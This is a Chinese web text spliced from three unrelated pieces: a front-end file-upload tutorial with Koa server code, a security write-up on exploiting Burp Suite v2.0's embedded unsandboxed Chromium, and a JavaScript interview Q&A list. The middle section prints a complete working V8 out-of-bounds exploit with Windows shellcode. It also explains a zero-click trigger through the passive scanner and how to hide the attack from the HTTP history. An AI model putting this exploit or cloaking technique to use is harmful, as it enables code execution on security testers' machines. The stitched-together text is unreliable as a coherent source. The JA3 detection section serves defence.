今年國(guó)慶假期終于可以憋在家里了不用出門(mén)了,不用出去看后腦了,真的是一種享受。這么好的光陰怎么浪費(fèi),睡覺(jué)、吃飯、打豆豆這怎么可能(耍多了也煩),完全不符合我們程序員的作風(fēng),趕緊起來(lái)把文章寫(xiě)完。
這篇文章比較基礎(chǔ),在國(guó)慶期間的業(yè)余時(shí)間寫(xiě)的,這幾天又完善了下,力求把更多的前端所涉及到的關(guān)于文件上傳的各種場(chǎng)景和應(yīng)用都涵蓋了,若有疏漏和問(wèn)題還請(qǐng)留言斧正和補(bǔ)充。
以下是本文所涉及到的知識(shí)點(diǎn),break or continue ?
原理很簡(jiǎn)單,就是根據(jù) http 協(xié)議的規(guī)范和定義,完成請(qǐng)求消息體的封裝和消息體的解析,然后將二進(jìn)制內(nèi)容保存到文件。
我們都知道如果要上傳一個(gè)文件,需要把 form 標(biāo)簽的enctype設(shè)置為multipart/form-data,同時(shí)method必須為post方法。
那么multipart/form-data表示什么呢?
multipart互聯(lián)網(wǎng)上的混合資源,就是資源由多種元素組成,form-data表示可以使用HTML Forms 和 POST 方法上傳文件,具體的定義可以參考RFC 7578。
multipart/form-data 結(jié)構(gòu)
看下 http 請(qǐng)求的消息體
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDCntfiXcSkPhS4PN 表示本次請(qǐng)求要上傳文件,其中boundary表示分隔符,如果要上傳多個(gè)表單項(xiàng),就要使用boundary分割,每個(gè)表單項(xiàng)由———XXX開(kāi)始,以———XXX結(jié)尾。
每一個(gè)表單項(xiàng)又由Content-Type和Content-Disposition組成。
Content-Disposition: form-data 為固定值,表示一個(gè)表單元素,name 表示表單元素的 名稱(chēng),回車(chē)換行后面就是name的值,如果是上傳文件就是文件的二進(jìn)制內(nèi)容。
Content-Type:表示當(dāng)前的內(nèi)容的 MIME 類(lèi)型,是圖片還是文本還是二進(jìn)制數(shù)據(jù)。
解析
客戶(hù)端發(fā)送請(qǐng)求到服務(wù)器后,服務(wù)器會(huì)收到請(qǐng)求的消息體,然后對(duì)消息體進(jìn)行解析,解析出哪是普通表單哪些是附件。
可能大家馬上能想到通過(guò)正則或者字符串處理分割出內(nèi)容,不過(guò)這樣是行不通的,二進(jìn)制buffer轉(zhuǎn)化為string,對(duì)字符串進(jìn)行截取后,其索引和字符串是不一致的,所以結(jié)果就不會(huì)正確,除非上傳的就是字符串。
不過(guò)一般情況下不需要自行解析,目前已經(jīng)有很成熟的三方庫(kù)可以使用。
至于如何解析,這個(gè)也會(huì)占用很大篇幅,后面的文章在詳細(xì)說(shuō)。
使用 form 表單上傳文件
在 ie時(shí)代,如果實(shí)現(xiàn)一個(gè)無(wú)刷新的文件上傳那可是費(fèi)老勁了,大部分都是用 iframe 來(lái)實(shí)現(xiàn)局部刷新或者使用 flash 插件來(lái)搞定,在那個(gè)時(shí)代 ie 就是最好用的瀏覽器(別無(wú)選擇)。
DEMO
這種方式上傳文件,不需要 js ,而且沒(méi)有兼容問(wèn)題,所有瀏覽器都支持,就是體驗(yàn)很差,導(dǎo)致頁(yè)面刷新,頁(yè)面其他數(shù)據(jù)丟失。
HTML
<form method="post" action="http://localhost:8100" enctype="multipart/form-data">
選擇文件:
<input type="file" name="f1"/> input 必須設(shè)置 name 屬性,否則數(shù)據(jù)無(wú)法發(fā)送<br/>
<br/>
標(biāo)題:<input type="text" name="title"/><br/><br/><br/>
<button type="submit" id="btn-0">上 傳</button>
</form>
復(fù)制代碼
服務(wù)端文件的保存基于現(xiàn)有的庫(kù)koa-body結(jié)合 koa2實(shí)現(xiàn)服務(wù)端文件的保存和數(shù)據(jù)的返回。
在項(xiàng)目開(kāi)發(fā)中,文件上傳本身和業(yè)務(wù)無(wú)關(guān),代碼基本上都可通用。
在這里我們使用koa-body庫(kù)來(lái)實(shí)現(xiàn)解析和文件的保存。
koa-body 會(huì)自動(dòng)保存文件到系統(tǒng)臨時(shí)目錄下,也可以指定保存的文件路徑。
然后在后續(xù)中間件內(nèi)得到已保存的文件的信息,再做二次處理。
NODE
/**
* 服務(wù)入口
*/
var http = require('http');
var koaStatic = require('koa-static');
var path = require('path');
var koaBody = require('koa-body');//文件保存庫(kù)
var fs = require('fs');
var Koa = require('koa2');
var app = new Koa();
var port = process.env.PORT || '8100';
var uploadHost= `http://localhost:${port}/uploads/`;
app.use(koaBody({
formidable: {
//設(shè)置文件的默認(rèn)保存目錄,不設(shè)置則保存在系統(tǒng)臨時(shí)目錄下 os
uploadDir: path.resolve(__dirname, '../static/uploads')
},
multipart: true // 開(kāi)啟文件上傳,默認(rèn)是關(guān)閉
}));
//開(kāi)啟靜態(tài)文件訪(fǎng)問(wèn)
app.use(koaStatic(
path.resolve(__dirname, '../static')
));
//文件二次處理,修改名稱(chēng)
app.use((ctx) => {
var file = ctx.request.files.f1;//得道文件對(duì)象
var path = file.path;
var fname = file.name;//原文件名稱(chēng)
var nextPath = path+fname;
if(file.size>0 && path){
//得到擴(kuò)展名
var extArr = fname.split('.');
var ext = extArr[extArr.length-1];
var nextPath = path+'.'+ext;
//重命名文件
fs.renameSync(path, nextPath);
}
//以 json 形式輸出上傳文件地址
ctx.body = `{
"fileUrl":"${uploadHost}${nextPath.slice(nextPath.lastIndexOf('/')+1)}"
}`;
});
/**
* http server
*/
var server = http.createServer(app.callback());
server.listen(port);
console.log('demo1 server start ...... ');
復(fù)制代碼
CODE
https://github.com/Bigerfe/fe-learn-code/
Headless Chrome是谷歌Chrome瀏覽器的無(wú)界面模式,通過(guò)命令行方式打開(kāi)網(wǎng)頁(yè)并渲染,常用于自動(dòng)化測(cè)試、網(wǎng)站爬蟲(chóng)、網(wǎng)站截圖、XSS檢測(cè)等場(chǎng)景。
近幾年許多桌面客戶(hù)端應(yīng)用中,基本都內(nèi)嵌了Chromium用于業(yè)務(wù)場(chǎng)景使用,但由于開(kāi)發(fā)不當(dāng)、CEF版本不升級(jí)維護(hù)等諸多問(wèn)題,攻擊者可以利用這些缺陷攻擊客戶(hù)端應(yīng)用以達(dá)到命令執(zhí)行效果。
本文以知名滲透軟件Burp Suite舉例,從軟件分析、漏洞挖掘、攻擊面擴(kuò)展等方面進(jìn)行深入探討。
以Burp Suite Pro v2.0beta版本為例,要做漏洞挖掘首先要了解軟件架構(gòu)及功能點(diǎn)。
將burpsuite_pro_v2.0.11beta.jar進(jìn)行解包,可以發(fā)現(xiàn)Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系統(tǒng)下運(yùn)行內(nèi)置Chromium瀏覽器。
在Windows系統(tǒng)中,Burp Suite v2.0運(yùn)行時(shí)會(huì)將chromium-win64.7z解壓至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目錄
從目錄名及數(shù)字簽名得知Burp Suite v2.0是直接引用JxBrowser瀏覽器控件,其打包的Chromium版本為64.0.3282.24。
那如何在Burp Suite中使用內(nèi)置瀏覽器呢?在常見(jiàn)的使用場(chǎng)景中,Proxy -> HTTP history -> Response -> Render及Repeater -> Render都能夠調(diào)用內(nèi)置Chromium瀏覽器渲染網(wǎng)頁(yè)。
當(dāng)Burp Suite喚起內(nèi)置瀏覽器browsercore32.exe打開(kāi)網(wǎng)頁(yè)時(shí),browsercore32.exe會(huì)創(chuàng)建Renderer進(jìn)程及GPU加速進(jìn)程。
browsercore32.exe進(jìn)程運(yùn)行參數(shù)如下:
// Chromium主進(jìn)程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
// Renderer進(jìn)程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
從進(jìn)程運(yùn)行參數(shù)分析得知,Chromium進(jìn)程以headless模式運(yùn)行、關(guān)閉了沙箱功能、隨機(jī)監(jiān)聽(tīng)一個(gè)端口(用途未知)。
Chromium組件的歷史版本幾乎都存在著1Day漏洞風(fēng)險(xiǎn),特別是在客戶(hù)端軟件一般不會(huì)維護(hù)升級(jí)Chromium版本,且關(guān)閉沙箱功能,在沒(méi)有沙箱防護(hù)的情況下漏洞可以無(wú)限制利用。
Burp Suite v2.0內(nèi)置的Chromium版本為64.0.3282.24,該低版本Chromium受到多個(gè)歷史漏洞影響,可以通過(guò)v8引擎漏洞執(zhí)行shellcode從而獲得PC權(quán)限。
以Render功能演示,利用v8漏洞觸發(fā)shellcode打開(kāi)計(jì)算器(此處感謝Sakura提供漏洞利用代碼)
這個(gè)漏洞沒(méi)有公開(kāi)的CVE ID,但其詳情可以在這里找到。
該漏洞的Root Cause是在進(jìn)行Math.expm1的范圍分析時(shí),推斷出的類(lèi)型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)會(huì)返回-0的情況,從而導(dǎo)致范圍分析錯(cuò)誤,導(dǎo)致JIT優(yōu)化時(shí),錯(cuò)誤的將邊界檢查CheckBounds移除,造成了OOB漏洞。
<html>
<head></head>
</body>
<script>
function pwn() {
var f64Arr = new Float64Array(1);
var u32Arr = new Uint32Array(f64Arr.buffer);
function f2u(f) {
f64Arr[0] = f;
return u32Arr;
}
function u2f(h, l)
{
u32Arr[0] = l;
u32Arr[1] = h;
return f64Arr[0];
}
function hex(i) {
return "0x" + i.toString(16).padStart(8, "0");
}
function log(str) {
console.log(str);
document.body.innerText += str + '\n';
}
var big_arr = [1.1, 1.2];
var ab = new ArrayBuffer(0x233);
var data_view = new DataView(ab);
function opt_me(x) {
var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
big_arr = [1.1, 1.2];
ab = new ArrayBuffer(0x233);
data_view = new DataView(ab);
let obj = {
a: -0
};
let idx = Object.is(Math.expm1(x), obj.a) * 10;
var tmp = f2u(oob_arr[idx])[0];
oob_arr[idx] = u2f(0x234, tmp);
}
for (let a = 0; a < 0x1000; a++)
opt_me(0);
opt_me(-0);
var optObj = {
flag: 0x266,
funcAddr: opt_me
};
log("[+] big_arr.length: " + big_arr.length);
if (big_arr.length != 282) {
log("[-] Can not modify big_arr length !");
return;
}
var backing_store_idx = -1;
var backing_store_in_hign_mem = false;
var OptObj_idx = -1;
var OptObj_idx_in_hign_mem = false;
for (let a = 0; a < 0x100; a++) {
if (backing_store_idx == -1) {
if (f2u(big_arr[a])[0] == 0x466) {
backing_store_in_hign_mem = true;
backing_store_idx = a;
} else if (f2u(big_arr[a])[1] == 0x466) {
backing_store_in_hign_mem = false;
backing_store_idx = a + 1;
}
}
else if (OptObj_idx == -1) {
if (f2u(big_arr[a])[0] == 0x4cc) {
OptObj_idx_in_hign_mem = true;
OptObj_idx = a;
} else if (f2u(big_arr[a])[1] == 0x4cc) {
OptObj_idx_in_hign_mem = false;
OptObj_idx = a + 1;
}
}
}
if (backing_store_idx == -1) {
log("[-] Can not find backing store !");
return;
} else
log("[+] backing store idx: " + backing_store_idx +
", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
if (OptObj_idx == -1) {
log("[-] Can not find Opt Obj !");
return;
} else
log("[+] OptObj idx: " + OptObj_idx +
", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
var backing_store = (backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
log("[+] Origin backing store: " + hex(backing_store));
var dataNearBS = (!backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
function read(addr) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
return data_view.getInt32(0, true);
}
function write(addr, msg) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
data_view.setInt32(0, msg, true);
}
var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
f2u(big_arr[OptObj_idx])[1] :
f2u(big_arr[OptObj_idx])[0]) - 1;
log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
var shellcode = new Uint8Array(
[0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
);
log("[+] writing shellcode ... ");
for (let i = 0; i < shellcode.length; i++)
write(RWX_Mem_Addr + i, shellcode[i]);
log("[+] execute shellcode !");
opt_me();
}
pwn();
</script>
</body>
</html>
用戶(hù)在通過(guò)Render功能渲染頁(yè)面時(shí)觸發(fā)v8漏洞成功執(zhí)行shellcode。
Render功能需要用戶(hù)交互才能觸發(fā)漏洞,相對(duì)來(lái)說(shuō)比較雞肋,能不能0click觸發(fā)漏洞?答案是可以的。
Burp Suite v2.0的Live audit from Proxy被動(dòng)掃描功能在默認(rèn)情況下開(kāi)啟JavaScript分析引擎(JavaScript analysis),用于掃描JavaScript漏洞。
其中JavaScript分析配置中,默認(rèn)開(kāi)啟了動(dòng)態(tài)分析功能(dynamic analysis techniques)、額外請(qǐng)求功能(Make requests for missing Javascript dependencies)
JavaScript動(dòng)態(tài)分析功能會(huì)調(diào)用內(nèi)置chromium瀏覽器對(duì)頁(yè)面中的JavaScript進(jìn)行DOM XSS掃描,同樣會(huì)觸發(fā)頁(yè)面中的HTML渲染、JavaScript執(zhí)行,從而觸發(fā)v8漏洞執(zhí)行shellcode。
額外請(qǐng)求功能當(dāng)頁(yè)面存在script標(biāo)簽引用外部JS時(shí),除了頁(yè)面正常渲染時(shí)請(qǐng)求加載script標(biāo)簽,還會(huì)額外發(fā)起請(qǐng)求加載外部JS。即兩次請(qǐng)求加載外部JS文件,并且分別執(zhí)行兩次JavaScript動(dòng)態(tài)分析。
額外發(fā)起的HTTP請(qǐng)求會(huì)存在明文特征,后端可以根據(jù)該特征在正常加載時(shí)返回正常JavaScript代碼,額外加載時(shí)返回漏洞利用代碼,從而可以實(shí)現(xiàn)在Burp Suite HTTP history中隱藏攻擊行為。
GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
JavaScript動(dòng)態(tài)分析 + 額外請(qǐng)求 + chromium漏洞組合利用效果:
默認(rèn)情況下Java發(fā)起HTTPS請(qǐng)求時(shí)協(xié)商的算法會(huì)受到JDK及操作系統(tǒng)版本影響,而B(niǎo)urp Suite自己實(shí)現(xiàn)了HTTPS請(qǐng)求庫(kù),其TLS握手協(xié)商的算法是固定的,結(jié)合JA3算法形成了TLS流量指紋特征可被檢測(cè),有關(guān)于JA3檢測(cè)的知識(shí)點(diǎn)可學(xué)習(xí)《TLS Fingerprinting with JA3 and JA3S》。
Cloudflare開(kāi)源并在CDN產(chǎn)品上應(yīng)用了MITMEngine組件,通過(guò)TLS指紋識(shí)別可檢測(cè)出惡意請(qǐng)求并攔截,其覆蓋了大多數(shù)Burp Suite版本的JA3指紋從而實(shí)現(xiàn)檢測(cè)攔截。這也可以解釋為什么在滲透測(cè)試時(shí)使用Burp Suite請(qǐng)求無(wú)法獲取到響應(yīng)包。
以Burp Suite v2.0舉例,實(shí)際測(cè)試在各個(gè)操作系統(tǒng)下,同樣的jar包發(fā)起的JA3指紋是一樣的。
不同版本Burp Suite支持的TLS算法不一樣會(huì)導(dǎo)致JA3指紋不同,但同樣的Burp Suite版本JA3指紋肯定是一樣的。如果需要覆蓋Burp Suite流量檢測(cè)只需要將每個(gè)版本的JA3指紋識(shí)別覆蓋即可檢測(cè)Burp Suite攻擊從而實(shí)現(xiàn)攔截。
本文章涉及內(nèi)容僅限防御對(duì)抗、安全研究交流,請(qǐng)勿用于非法途徑。
.幾種基本數(shù)據(jù)類(lèi)型?復(fù)雜數(shù)據(jù)類(lèi)型?值類(lèi)型和引用數(shù)據(jù)類(lèi)型?堆棧數(shù)據(jù)結(jié)構(gòu)?
基本數(shù)據(jù)類(lèi)型:Undefined、Null、Boolean、Number、String
值類(lèi)型:數(shù)值、布爾值、null、undefined。
引用類(lèi)型:對(duì)象、數(shù)組、函數(shù)。
堆棧數(shù)據(jù)結(jié)構(gòu):是一種支持后進(jìn)先出(LIFO)的集合,即后被插入的數(shù)據(jù),先被取出!
js數(shù)組中提供了以下幾個(gè)方法可以讓我們很方便實(shí)現(xiàn)堆棧:
shift:從數(shù)組中把第一個(gè)元素刪除,并返回這個(gè)元素的值。
unshift: 在數(shù)組的開(kāi)頭添加一個(gè)或更多元素,并返回新的長(zhǎng)度
push:在數(shù)組的中末尾添加元素,并返回新的長(zhǎng)度
pop:從數(shù)組中把最后一個(gè)元素刪除,并返回這個(gè)元素的值。
2.聲明函數(shù)作用提升?聲明變量和聲明函數(shù)的提升有什么區(qū)別?
(1) 變量聲明提升:變量申明在進(jìn)入執(zhí)行上下文就完成了。
只要變量在代碼中進(jìn)行了聲明,無(wú)論它在哪個(gè)位置上進(jìn)行聲明, js引擎都會(huì)將它的聲明放在范圍作用域的頂部;
(2) 函數(shù)聲明提升:執(zhí)行代碼之前會(huì)先讀取函數(shù)聲明,意味著可以把函數(shù)申明放在調(diào)用它的語(yǔ)句后面。
只要函數(shù)在代碼中進(jìn)行了聲明,無(wú)論它在哪個(gè)位置上進(jìn)行聲明, js引擎都會(huì)將它的聲明放在范圍作用域的頂部;
(3) 變量or函數(shù)聲明:函數(shù)聲明會(huì)覆蓋變量聲明,但不會(huì)覆蓋變量賦值。
同一個(gè)名稱(chēng)標(biāo)識(shí)a,即有變量聲明var a,又有函數(shù)聲明function a() {},不管二者聲明的順序,函數(shù)聲明會(huì)覆蓋變量聲明,也就是說(shuō),此時(shí)a的值是聲明的函數(shù)function a() {}。注意:如果在變量聲明的同時(shí)初始化a,或是之后對(duì)a進(jìn)行賦值,此時(shí)a的值變量的值。eg: var a; var c = 1; a = 1; function a() { return true; } console.log(a);
3.判斷數(shù)據(jù)類(lèi)型?
typeof返回的類(lèi)型都是字符串形式,可以判斷function的類(lèi)型;在判斷除Object類(lèi)型的對(duì)象時(shí)比較方便。
判斷已知對(duì)象類(lèi)型的方法: instanceof,后面一定要是對(duì)象類(lèi)型,并且大小寫(xiě)不能錯(cuò),該方法適合一些條件選擇或分支。
4.異步編程?
方法1:回調(diào)函數(shù),優(yōu)點(diǎn)是簡(jiǎn)單、容易理解和部署,缺點(diǎn)是不利于代碼的閱讀和維護(hù),各個(gè)部分之間高度耦合(Coupling),流程會(huì)很混亂,而且每個(gè)任務(wù)只能指定一個(gè)回調(diào)函數(shù)。
方法2:時(shí)間監(jiān)聽(tīng),可以綁定多個(gè)事件,每個(gè)事件可以指定多個(gè)回調(diào)函數(shù),而且可以“去耦合”(Decoupling),有利于實(shí)現(xiàn)模塊化。缺點(diǎn)是整個(gè)程序都要變成事件驅(qū)動(dòng)型,運(yùn)行流程會(huì)變得很不清晰。
方法3:發(fā)布/訂閱,性質(zhì)與“事件監(jiān)聽(tīng)”類(lèi)似,但是明顯優(yōu)于后者。
方法4:Promises對(duì)象,是CommonJS工作組提出的一種規(guī)范,目的是為異步編程提供統(tǒng)一接口。
簡(jiǎn)單說(shuō),它的思想是,每一個(gè)異步任務(wù)返回一個(gè)Promise對(duì)象,該對(duì)象有一個(gè)then方法,允許指定回調(diào)函數(shù)。
5.事件流?事件捕獲?事件冒泡?
事件流:從頁(yè)面中接收事件的順序。也就是說(shuō)當(dāng)一個(gè)事件產(chǎn)生時(shí),這個(gè)事件的傳播過(guò)程,就是事件流。
IE中的事件流叫事件冒泡;事件冒泡:事件開(kāi)始時(shí)由最具體的元素接收,然后逐級(jí)向上傳播到較為不具體的節(jié)點(diǎn)(文檔)。對(duì)于html來(lái)說(shuō),就是當(dāng)一個(gè)元素產(chǎn)生了一個(gè)事件,它會(huì)把這個(gè)事件傳遞給它的父元素,父元素接收到了之后,還要繼續(xù)傳遞給它的上一級(jí)元素,就這樣一直傳播到document對(duì)象(親測(cè)現(xiàn)在的瀏覽器到window對(duì)象,只有IE8及下不這樣
事件捕獲是不太具體的元素應(yīng)該更早接受到事件,而最具體的節(jié)點(diǎn)應(yīng)該最后接收到事件。他們的用意是在事件到達(dá)目標(biāo)之前就捕獲它;也就是跟冒泡的過(guò)程正好相反,以html的click事件為例,document對(duì)象(DOM級(jí)規(guī)范要求從document開(kāi)始傳播,但是現(xiàn)在的瀏覽器是從window對(duì)象開(kāi)始的)最先接收到click事件的然后事件沿著DOM樹(shù)依次向下傳播,一直傳播到事件的實(shí)際目標(biāo);
6.如何清除一個(gè)定時(shí)器?
window.clearInterval();
window.clearTimeout();
7.如何添加一個(gè)dom對(duì)象到body中?innerHTML和innerText區(qū)別?
body.appendChild(dom元素);
innerHTML:從對(duì)象的起始位置到終止位置的全部?jī)?nèi)容,包括Html標(biāo)簽。
innerText:從起始位置到終止位置的內(nèi)容, 但它去除Html標(biāo)簽
分別簡(jiǎn)述五個(gè)window對(duì)象、屬性
成員對(duì)象
window.event window.document window.history
window.screen window.navigator window.external
Window對(duì)象的屬性如下:
window //窗戶(hù)自身
window.self //引用本窗戶(hù)window=window.self
window.name //為窗戶(hù)命名
window.defaultStatus //設(shè)定窗戶(hù)狀態(tài)欄信息
window.location //URL地址,配備布置這個(gè)屬性可以打開(kāi)新的頁(yè)面
8.數(shù)據(jù)持久化技術(shù)(ajax)?簡(jiǎn)述ajax流程
1)客戶(hù)端產(chǎn)生js的事件
2)創(chuàng)建XMLHttpRequest對(duì)象
3)對(duì)XMLHttpRequest進(jìn)行配置
4)通過(guò)AJAX引擎發(fā)送異步請(qǐng)求
5)服務(wù)器端接收請(qǐng)求并且處理請(qǐng)求,返回html或者xml內(nèi)容
6)XML調(diào)用一個(gè)callback()處理響應(yīng)回來(lái)的內(nèi)容
7)頁(yè)面局部刷新
9.回調(diào)函數(shù)?
回調(diào)函數(shù)就是一個(gè)通過(guò)函數(shù)指針調(diào)用的函數(shù)。如果你把函數(shù)的指針(地址)作為參數(shù)傳遞給另一個(gè)函數(shù),當(dāng)這個(gè)指針被用來(lái)調(diào)用其所指向的函數(shù)時(shí),我們就說(shuō)這是回調(diào)函數(shù)。回調(diào)函數(shù)不是由該函數(shù)的實(shí)現(xiàn)方直接調(diào)用,而是在特定的事件或條件發(fā)生時(shí)由另外的一方調(diào)用的,用于對(duì)該事件或條件進(jìn)行響應(yīng)。
10.什么是閉包?* 堆棧溢出有什么區(qū)別? 內(nèi)存泄漏? 那些操作會(huì)造成內(nèi)存泄漏?怎么樣防止內(nèi)存泄漏?
閉包:就是能夠讀取其他函數(shù)內(nèi)部變量的函數(shù)。
堆棧溢出:就是不顧堆棧中分配的局部數(shù)據(jù)塊大小,向該數(shù)據(jù)塊寫(xiě)入了過(guò)多的數(shù)據(jù),導(dǎo)致數(shù)據(jù)越界,結(jié)果覆蓋了別的數(shù)據(jù)。經(jīng)常會(huì)在遞歸中發(fā)生。
內(nèi)存泄露是指:用動(dòng)態(tài)存儲(chǔ)分配函數(shù)內(nèi)存空間,在使用完畢后未釋放,導(dǎo)致一直占據(jù)該內(nèi)存單元。直到程序結(jié)束。指任何對(duì)象在您不再擁有或需要它之后仍然存在。
造成內(nèi)存泄漏:
setTimeout 的第一個(gè)參數(shù)使用字符串而非函數(shù)的話(huà),會(huì)引發(fā)內(nèi)存泄漏。
閉包、控制臺(tái)日志、循環(huán)(在兩個(gè)對(duì)象彼此引用且彼此保留時(shí),就會(huì)產(chǎn)生一個(gè)循環(huán))
防止內(nèi)存泄露:
1、不要?jiǎng)討B(tài)綁定事件;
2、不要在動(dòng)態(tài)添加,或者會(huì)被動(dòng)態(tài)移除的dom上綁事件,用事件冒泡在父容器監(jiān)聽(tīng)事件;
3、如果要違反上面的原則,必須提供destroy方法,保證移除dom后事件也被移除,這點(diǎn)可以參考Backbone的源代碼,做的比較好;
4、單例化,少創(chuàng)建dom,少綁事件。
11.平時(shí)工作中怎么樣進(jìn)行數(shù)據(jù)交互?如果后臺(tái)沒(méi)有提供數(shù)據(jù)怎么樣進(jìn)行開(kāi)發(fā)?mock數(shù)據(jù)與后臺(tái)返回的格式不同意怎么辦?
由后臺(tái)編寫(xiě)接口文檔、提供數(shù)據(jù)接口實(shí)、前臺(tái)通過(guò)ajax訪(fǎng)問(wèn)實(shí)現(xiàn)數(shù)據(jù)交互;
在沒(méi)有數(shù)據(jù)的情況下尋找后臺(tái)提供靜態(tài)數(shù)據(jù)或者自己定義mock數(shù)據(jù);
返回?cái)?shù)據(jù)不統(tǒng)一時(shí)編寫(xiě)映射文件 對(duì)數(shù)據(jù)進(jìn)行映射。
12 簡(jiǎn)述ajax執(zhí)行流程
基本步驟:
var xhr =null;//創(chuàng)建對(duì)象
if(window.XMLHttpRequest){
xhr = new XMLHttpRequest();
}else{
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr.open(“方式”,”地址”,”標(biāo)志位”);//初始化請(qǐng)求
xhr.setRequestHeader(“”,””);//設(shè)置http頭信息
xhr.onreadystatechange =function(){}//指定回調(diào)函數(shù)
xhr.send();//發(fā)送請(qǐng)求
13.自執(zhí)行函數(shù)?用于什么場(chǎng)景?好處?
自執(zhí)行函數(shù):1、聲明一個(gè)匿名函數(shù)2、馬上調(diào)用這個(gè)匿名函數(shù)。
作用:創(chuàng)建一個(gè)獨(dú)立的作用域。
好處:防止變量彌散到全局,以免各種js庫(kù)沖突。隔離作用域避免污染,或者截?cái)嘧饔糜蜴湥苊忾]包造成引用變量無(wú)法釋放。利用立即執(zhí)行特性,返回需要的業(yè)務(wù)函數(shù)或?qū)ο螅苊饷看瓮ㄟ^(guò)條件判斷來(lái)處理
場(chǎng)景:一般用于框架、插件等場(chǎng)景
14.html和xhtml有什么區(qū)別?
HTML是一種基本的WEB網(wǎng)頁(yè)設(shè)計(jì)語(yǔ)言,XHTML是一個(gè)基于XML的標(biāo)記語(yǔ)言。
1.XHTML 元素必須被正確地嵌套。
2.XHTML 元素必須被關(guān)閉。
3.標(biāo)簽名必須用小寫(xiě)字母。
4.空標(biāo)簽也必須被關(guān)閉。
5.XHTML 文檔必須擁有根元素。
15. 什么是構(gòu)造函數(shù)?與普通函數(shù)有什么區(qū)別?
構(gòu)造函數(shù):是一種特殊的方法、主要用來(lái)創(chuàng)建對(duì)象時(shí)初始化對(duì)象,總與new運(yùn)算符一起使用,創(chuàng)建對(duì)象的語(yǔ)句中構(gòu)造函數(shù)的函數(shù)名必須與類(lèi)名完全相同。
與普通函數(shù)相比只能由new關(guān)鍵字調(diào)用,構(gòu)造函數(shù)是類(lèi)的標(biāo)示
